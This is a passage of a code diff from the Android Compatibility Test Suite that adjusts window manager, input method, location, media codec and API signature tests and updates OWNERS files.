+        return navWindows.size() == expectedNavBarCount ? navWindows : null;
     }
 
     WindowState getWindowStateForAppToken(String appToken) {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 0a70d01..458d785 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -272,10 +272,17 @@
                 "app transition idle on Display " + displayId);
     }
 
-    public void waitAndAssertNavBarShownOnDisplay(int displayId) {
-        assertTrue(waitForWithAmState(
-                state -> state.getAndAssertSingleNavBarWindowOnDisplay(displayId) != null,
-                "navigation bar #" + displayId + " show"));
+    void waitAndAssertNavBarShownOnDisplay(int displayId) {
+        waitAndAssertNavBarShownOnDisplay(displayId, 1 /* expectedNavBarCount */);
+    }
+
+    void waitAndAssertNavBarShownOnDisplay(int displayId, int expectedNavBarCount) {
+        assertTrue(waitForWithAmState(state -> {
+            List<WindowState> navWindows = state
+                    .getAndAssertNavBarWindowsOnDisplay(displayId, expectedNavBarCount);
+
+            return navWindows != null;
+        }, "navigation bar #" + displayId + " show"));
     }
 
     public void waitAndAssertKeyguardShownOnSecondaryDisplay(int displayId) {
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
index 9b1c836..5eaa32e 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -207,7 +207,7 @@
                 PackageManager.FEATURE_INPUT_METHODS));
         enableImes(MOCK_IME_ID, HIDDEN_FROM_PICKER_IME_ID);
 
-        TestActivity.startSync(activity -> {
+        final TestActivity testActivity = TestActivity.startSync(activity -> {
             final View view = new View(activity);
             view.setLayoutParams(new LayoutParams(
                     LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
@@ -222,8 +222,9 @@
 
         // Test InputMethodManager#showInputMethodPicker() works as expected.
         mImManager.showInputMethodPicker();
-        waitOnMainUntil(() -> mImManager.isInputMethodPickerShown(), TIMEOUT,
-                "InputMethod picker should be shown");
+        waitOnMainUntil(() -> mImManager.isInputMethodPickerShown()
+                        && !testActivity.hasWindowFocus(), TIMEOUT,
+                "InputMethod picker should be shown and test activity lost focus");
         final UiDevice uiDevice =
                 UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         assertThat(uiDevice.wait(Until.hasObject(By.text(MOCK_IME_LABEL)), TIMEOUT)).isTrue();
@@ -234,6 +235,8 @@
                 new Intent(ACTION_CLOSE_SYSTEM_DIALOGS).setFlags(FLAG_RECEIVER_FOREGROUND));
         waitOnMainUntil(() -> !mImManager.isInputMethodPickerShown(), TIMEOUT,
                 "InputMethod picker should be closed");
+        waitOnMainUntil(() -> testActivity.hasWindowFocus(), TIMEOUT,
+                "Activity should be focused after picker dismissed");
     }
 
     private void enableImes(String... ids) {
diff --git a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
index 59c91c9..b4b62cc 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/GeofencingTest.java
@@ -30,6 +30,7 @@
 import android.location.Criteria;
 import android.location.LocationManager;
 import android.location.cts.common.ProximityPendingIntentCapture;
+import android.os.UserManager;
 import android.util.Log;
 
 import androidx.test.core.app.ApplicationProvider;
@@ -100,6 +101,10 @@
 
     @Test
     public void testAddProximityAlert() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -173,6 +178,11 @@
 
     @Test
     public void testRemoveProximityAlert() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -206,6 +216,11 @@
 
     @Test
     public void testAddProximityAlert_StartProximate() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -227,6 +242,11 @@
 
     @Test
     public void testAddProximityAlert_Multiple() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -266,6 +286,11 @@
 
     @Test
     public void testAddProximityAlert_Expires() throws Exception {
+        if (isNotSystemUser()) {
+            Log.i(TAG, "Skipping test on secondary user");
+            return;
+        }
+
         mManager.addTestProvider(FUSED_PROVIDER,
                 true,
                 false,
@@ -288,4 +313,8 @@
             assertThat(capture.getNextProximityChange(FAILURE_TIMEOUT_MS)).isNull();
         }
     }
+
+    private boolean isNotSystemUser() {
+        return !mContext.getSystemService(UserManager.class).isSystemUser();
+    }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index dcaee4f..1be37c3 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -18,6 +18,7 @@
 
 import static android.Manifest.permission.WRITE_SECURE_SETTINGS;
 import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
+import static android.content.pm.PackageManager.FEATURE_TELEVISION;
 import static android.location.LocationManager.EXTRA_PROVIDER_ENABLED;
 import static android.location.LocationManager.EXTRA_PROVIDER_NAME;
 import static android.location.LocationManager.FUSED_PROVIDER;
@@ -264,8 +265,6 @@
 
     @Test
     public void testGetCurrentLocation_Timeout() throws Exception {
-        Location loc = createLocation(TEST_PROVIDER, mRandom);
-
         try (GetCurrentLocationCapture capture = new GetCurrentLocationCapture()) {
             mManager.getCurrentLocation(
                     TEST_PROVIDER,
@@ -665,8 +664,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_GpsDisabledScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -725,8 +725,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_AllDisabledScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -766,8 +767,9 @@
 
     @Test
     public void testRequestLocationUpdates_BatterySaver_ThrottleScreenOff() throws Exception {
-        // battery saver is unsupported on auto
+        // battery saver is unsupported on auto and tv
         assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
+        assumeFalse(mContext.getPackageManager().hasSystemFeature(FEATURE_TELEVISION));
 
         PowerManager powerManager = Objects.requireNonNull(
                 mContext.getSystemService(PowerManager.class));
@@ -1007,7 +1009,7 @@
 
     @Test
     public void testRequestFlush_Gnss() throws Exception {
-        assumeTrue(mManager.getAllProviders().contains(GPS_PROVIDER));
+        assumeTrue(mManager.hasProvider(GPS_PROVIDER));
 
         try (LocationListenerCapture capture = new LocationListenerCapture(mContext)) {
             mManager.requestLocationUpdates(GPS_PROVIDER, 0, 0,
diff --git a/tests/media/OWNERS b/tests/media/OWNERS
index ad8bb0a3..eba094c 100644
--- a/tests/media/OWNERS
+++ b/tests/media/OWNERS
@@ -1,15 +1,11 @@
 # Bug component: 1344
 # include media developers and framework video team
 include platform/frameworks/av:/media/OWNERS
-chz@google.com
 dichenzhang@google.com
 essick@google.com
 gokrishnan@google.com
 lajos@google.com
-marcone@google.com
-pawin@google.com
 wonsik@google.com
 
-# LON
-olly@google.com
-andrewlewis@google.com
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index 00f9131..bea8487 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -260,7 +260,13 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                assertTrue(log + "decoder output is flaky", ref.equals(test));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (mIsInterlaced) {
+                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                } else {
+                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                }
 
                 /* test flush in eos state */
                 flushCodec();
@@ -276,7 +282,13 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                assertTrue(log + "decoder output is flaky", ref.equals(test));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (mIsInterlaced) {
+                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                } else {
+                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                }
             }
             mCodec.release();
             mExtractor.release();
@@ -351,8 +363,13 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                assertTrue(log + "decoder output is flaky", ref.equals(test));
-
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (mIsInterlaced) {
+                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                } else {
+                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                }
                 /* test reconfigure codec at eos state */
                 reConfigureCodec(format, !isAsync, false, false);
                 mCodec.start();
@@ -367,7 +384,13 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                assertTrue(log + "decoder output is flaky", ref.equals(test));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (mIsInterlaced) {
+                    assertTrue(log + "decoder output is flaky", ref.equalsInterlaced(test));
+                } else {
+                    assertTrue(log + "decoder output is flaky", ref.equals(test));
+                }
                 mExtractor.release();
 
                 /* test reconfigure codec for new file */
@@ -388,7 +411,13 @@
                 assertTrue(log + " unexpected error", !mAsyncHandle.hasSeenError());
                 assertTrue(log + "no input sent", 0 != mInputCount);
                 assertTrue(log + "output received", 0 != mOutputCount);
-                assertTrue(log + "decoder output is flaky", configRef.equals(test));
+                // TODO: Timestamps for deinterlaced content are under review. (E.g. can decoders
+                // produce multiple progressive frames?) For now, do not verify timestamps.
+                if (mIsInterlaced) {
+                    assertTrue(log + "decoder output is flaky", configRef.equalsInterlaced(test));
+                } else {
+                    assertTrue(log + "decoder output is flaky", configRef.equals(test));
+                }
                 mExtractor.release();
             }
             mCodec.release();
diff --git a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
index e3e3a2d..832127d 100644
--- a/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecEncoderTest.java
@@ -56,6 +56,14 @@
     private static final String LOG_TAG = CodecEncoderTest.class.getSimpleName();
     private int mNumSyncFramesReceived;
     private ArrayList<Integer> mSyncFramesPos;
+    private static ArrayList<String> mAdaptiveBitrateMimeList = new ArrayList<>();
+
+    static {
+        mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_AVC);
+        mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
+        mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
+        mAdaptiveBitrateMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
+    }
 
     public CodecEncoderTest(String encoder, String mime, int[] bitrates, int[] encoderInfo1,
             int[] encoderInfo2) {
@@ -720,7 +728,8 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptiveBitRate() throws IOException, InterruptedException {
-        Assume.assumeTrue(!mIsAudio);
+        Assume.assumeTrue("Skipping AdaptiveBitrate test for " + mMime,
+            mAdaptiveBitrateMimeList.contains(mMime));
         setUpParams(1);
         boolean[] boolStates = {true, false};
         setUpSource(mInputFile);
@@ -798,7 +807,8 @@
     @LargeTest
     @Test(timeout = PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testAdaptiveBitRateNative() throws IOException {
-        Assume.assumeTrue(!mIsAudio);
+        Assume.assumeTrue("Skipping Native AdaptiveBitrate test for " + mMime,
+            mAdaptiveBitrateMimeList.contains(mMime));
         int colorFormat = -1;
         {
             /* TODO(b/147574800) */
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 7b41079..ea542d6 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -1229,6 +1229,9 @@
             mOutputBuff.saveInPTS(info.presentationTimeUs);
             mInputCount++;
         }
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawInputEOS = true;
+        }
     }
 
     void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
diff --git a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
index 61fe054..8598622 100644
--- a/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
+++ b/tests/mediapc/src/android/mediapc/cts/EncoderInitializationLatencyTest.java
@@ -50,6 +50,7 @@
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 /**
@@ -69,9 +70,6 @@
     private static String AVC_DECODER_NAME;
     private static String AVC_ENCODER_NAME;
     static {
-        AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
-        AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
-
         if (Utils.isRPerfClass()) {
             MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = 50;
             MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = 65;
@@ -95,6 +93,14 @@
     @Before
     public void setUp() throws Exception {
         assumeTrue("Test requires performance class.", Utils.isPerfClass());
+        ArrayList<String>  listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
         Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
         Context context = instrumentation.getTargetContext();
         PackageManager packageManager = context.getPackageManager();
diff --git a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
index c0f48db..a57faf7 100644
--- a/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/FrameDropTestBase.java
@@ -33,7 +33,9 @@
 
 import static android.mediapc.cts.CodecTestBase.selectCodecs;
 import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 public class FrameDropTestBase {
@@ -69,11 +71,6 @@
     static Map<String, String> m540pTestFiles = new HashMap<>();
     static Map<String, String> m1080pTestFiles = new HashMap<>();
     static {
-        AVC_DECODER_NAME = selectHardwareCodecs(AVC, null, null, false).get(0);
-        AVC_ENCODER_NAME = selectHardwareCodecs(AVC, null, null, true).get(0);
-        AAC_DECODER_NAME = selectCodecs(AAC, null, null, false).get(0);
-    }
-    static {
         if (Utils.isSPerfClass()) {
             // Two frame drops per 10 seconds at 60 fps is 6 drops per 30 seconds
             MAX_FRAME_DROP_FOR_30S = 6;
@@ -111,6 +108,19 @@
     @Before
     public void setUp() throws Exception {
         assumeTrue("Test requires performance class.", Utils.isPerfClass());
+
+        ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+        assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+        AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+        ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+        assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+        AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+        ArrayList<String> listOfAacDecoders = selectCodecs(AAC, null, null, false);
+        assertFalse("Test requires aac decoder", listOfAacDecoders.isEmpty());
+        AAC_DECODER_NAME = listOfAacDecoders.get(0);
+
         createSurface();
         startLoad();
     }
diff --git a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
index 80bdafe..596532b 100644
--- a/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
+++ b/tests/mediapc/src/android/mediapc/cts/MultiCodecPerfTestBase.java
@@ -53,13 +53,11 @@
         mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x720_3mbps_30fps_avc.mp4");
         mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1280x720_3mbps_30fps_hevc.mp4");
 
-        // Test VP8, VP9 and AV1 as well for Build.VERSION_CODES.S
+        // Test VP9 and AV1 as well for Build.VERSION_CODES.S
         if (Utils.isSPerfClass()) {
-            mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP8);
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_VP9);
             mMimeList.add(MediaFormat.MIMETYPE_VIDEO_AV1);
 
-            mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1280x720_3mbps_30fps_vp8.webm");
             mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1280x720_3mbps_30fps_vp9.webm");
             mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1280x720_3mbps_30fps_av1.mp4");
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index 597496e..366e148 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -247,7 +247,7 @@
             sb.append("(");
         }
         for (int i = 0; i < array.length; i++) {
-            sb.append(String.format("%.2f", array[i]));
+            sb.append(String.format("%.8f", array[i]));
             if (i != array.length - 1) {
                 sb.append(", ");
             }
diff --git a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
index 7cefb5c..ffe85fc 100644
--- a/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
+++ b/tests/signature/api-check/hidden-api-blocklist-test-api/src/android/signature/cts/api/test/HiddenApiTest.java
@@ -16,28 +16,14 @@
 
 package android.signature.cts.api.test;
 
-import android.os.Bundle;
-import android.signature.cts.DexApiDocumentParser;
-import android.signature.cts.DexField;
 import android.signature.cts.DexMember;
-import android.signature.cts.DexMemberChecker;
-import android.signature.cts.DexMethod;
-import android.signature.cts.FailureType;
-import android.signature.cts.VirtualPath;
-
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.channels.FileChannel;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.StandardOpenOption;
-import java.util.EnumSet;
 import java.util.Set;
-import java.util.function.Predicate;
-import java.util.stream.Stream;
 
 public class HiddenApiTest extends android.signature.cts.api.HiddenApiTest {
 
+    /**
+     * Override to match only those members that specify both test-api and blocked.
+     */
     @Override
     protected boolean shouldTestMember(DexMember member) {
         Set<String> flags = member.getHiddenapiFlags();
diff --git a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
index 4c0a31a..d9d1cb6 100644
--- a/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
+++ b/tests/signature/api-check/shared-libs-api/src/android/signature/cts/api/SignatureMultiLibsTest.java
@@ -47,7 +47,7 @@
             ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
 
             parseApiResourcesAsStream(apiDocumentParser,
-                    Stream.concat(Arrays.stream(systemApiFiles), Arrays.stream(previousApiFiles))
+                    Stream.concat(Arrays.stream(expectedApiFiles), Arrays.stream(previousApiFiles))
                     .toArray(String[]::new))
                     .forEach(complianceChecker::checkSignatureCompliance);
 
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
index 9707dd8..0eeef1a 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/AbstractApiTest.java
@@ -119,7 +119,7 @@
         mResultObserver.onTestComplete(); // Will throw is there are failures
     }
 
-    static String[] getCommaSeparatedList(Bundle instrumentationArgs, String key) {
+    static String[] getCommaSeparatedListOptional(Bundle instrumentationArgs, String key) {
         String argument = instrumentationArgs.getString(key);
         if (argument == null) {
             return new String[0];
@@ -127,6 +127,14 @@
         return argument.split(",");
     }
 
+    static String[] getCommaSeparatedListRequired(Bundle instrumentationArgs, String key) {
+        String argument = instrumentationArgs.getString(key);
+        if (argument == null) {
+            throw new IllegalStateException("Could not find required argument '" + key + "'");
+        }
+        return argument.split(",");
+    }
+
     private Stream<VirtualPath> readResource(String resourceName) {
         try {
             ResourcePath resourcePath =
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
index 43cca41..3b6fec9 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -28,7 +28,6 @@
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
-import java.text.ParseException;
 import java.util.HashSet;
 import java.util.Set;
 import java.util.function.Predicate;
@@ -45,8 +44,8 @@
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) {
-        hiddenapiFiles = getCommaSeparatedList(instrumentationArgs, "hiddenapi-files");
-        hiddenapiTestFlags = getCommaSeparatedList(instrumentationArgs, "hiddenapi-test-flags");
+        hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
+        hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
         hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
         hiddenapiFilterSet = new HashSet<>();
     }
@@ -166,7 +165,15 @@
         });
     }
 
+    /**
+     * Determines whether to test the member.
+     *
+     * @param member the member
+     * @return true if the member should be tested, false otherwise.
+     */
     protected boolean shouldTestMember(DexMember member) {
+        // Test the member if it supports ANY of the flags specified in the hiddenapi-test-flags
+        // argument.
         Set<String> flags = member.getHiddenapiFlags();
         for (String testFlag : hiddenapiTestFlags) {
             if (flags.contains(testFlag)) {
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 2ef70ca..316a603 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -36,17 +36,23 @@
 
     private static final String TAG = SignatureTest.class.getSimpleName();
 
-    protected String[] systemApiFiles;
+    protected String[] expectedApiFiles;
     protected String[] previousApiFiles;
     protected String[] baseApiFiles;
     private String[] unexpectedApiFiles;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) {
-        systemApiFiles = getCommaSeparatedList(instrumentationArgs, "system-api-files");
-        baseApiFiles = getCommaSeparatedList(instrumentationArgs, "base-api-files");
-        unexpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "unexpected-api-files");
-        previousApiFiles = getCommaSeparatedList(instrumentationArgs, "previous-api-files");
+        expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
+        baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
+        unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
+        previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files");
+
+        if (expectedApiFiles.length + unexpectedApiFiles.length == 0) {
+            throw new IllegalStateException(
+                    "Expected at least one file to be specified in"
+                            + " 'expected-api-files' or 'unexpected-api-files'");
+        }
     }
 
     /**
@@ -73,7 +79,7 @@
             // Load classes from any API files that form the base which the expected APIs extend.
             loadBaseClasses(complianceChecker);
             // Load classes from system API files and check for signature compliance.
-            checkClassesSignatureCompliance(complianceChecker, systemApiFiles, unexpectedClasses,
+            checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses,
                     false /* isPreviousApi */);
             // Load classes from previous API files and check for signature compliance.
             checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
diff --git a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
index a3c46d5..62b1bbb 100644
--- a/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
+++ b/tests/signature/api-check/system-annotation/src/java/android/signature/cts/api/AnnotationTest.java
@@ -16,7 +16,6 @@
 
 package android.signature.cts.api;
 
-import android.os.Build;
 import android.os.Bundle;
 import android.signature.cts.AnnotationChecker;
 import android.signature.cts.ApiDocumentParser;
@@ -42,7 +41,7 @@
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        mExpectedApiFiles = getCommaSeparatedList(instrumentationArgs, "expected-api-files");
+        mExpectedApiFiles = getCommaSeparatedListRequired(instrumentationArgs, "expected-api-files");
         mAnnotationForExactMatch = instrumentationArgs.getString("annotation-for-exact-match");
     }
 
diff --git a/tests/signature/api-check/system-api/AndroidTest.xml b/tests/signature/api-check/system-api/AndroidTest.xml
index 1fcb724..7c5fb12 100644
--- a/tests/signature/api-check/system-api/AndroidTest.xml
+++ b/tests/signature/api-check/system-api/AndroidTest.xml
@@ -28,7 +28,7 @@
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.system.SignatureTest" />
         <option name="instrumentation-arg" key="base-api-files" value="current.api.gz" />
-        <option name="instrumentation-arg" key="system-api-files" value="system-current.api.gz,system-removed.api.gz" />
+        <option name="instrumentation-arg" key="expected-api-files" value="system-current.api.gz,system-removed.api.gz" />
         <option name="instrumentation-arg" key="previous-api-files" value = "system-all.api.zip" />
         <option name="instrumentation-arg" key="unexpected-api-files" value="android-test-mock-current.api.gz,android-test-runner-current.api.gz" />
         <option name="runtime-hint" value="30s" />
diff --git a/tests/tests/accounts/OWNERS b/tests/tests/accounts/OWNERS
index d486f4c..695530b 100644
--- a/tests/tests/accounts/OWNERS
+++ b/tests/tests/accounts/OWNERS
@@ -2,3 +2,4 @@
 carlosvaldivia@google.com
 dementyev@google.com
 sandrakwan@google.com
+aseemk@google.com
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index 1cb7e1f..06ddfad 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -28,5 +28,12 @@
         <service android:name=".TestService"
                   android:exported="true"
         />
+        <receiver android:name=".TestBroadcastReceiver"
+                  android:exported="true"
+        />
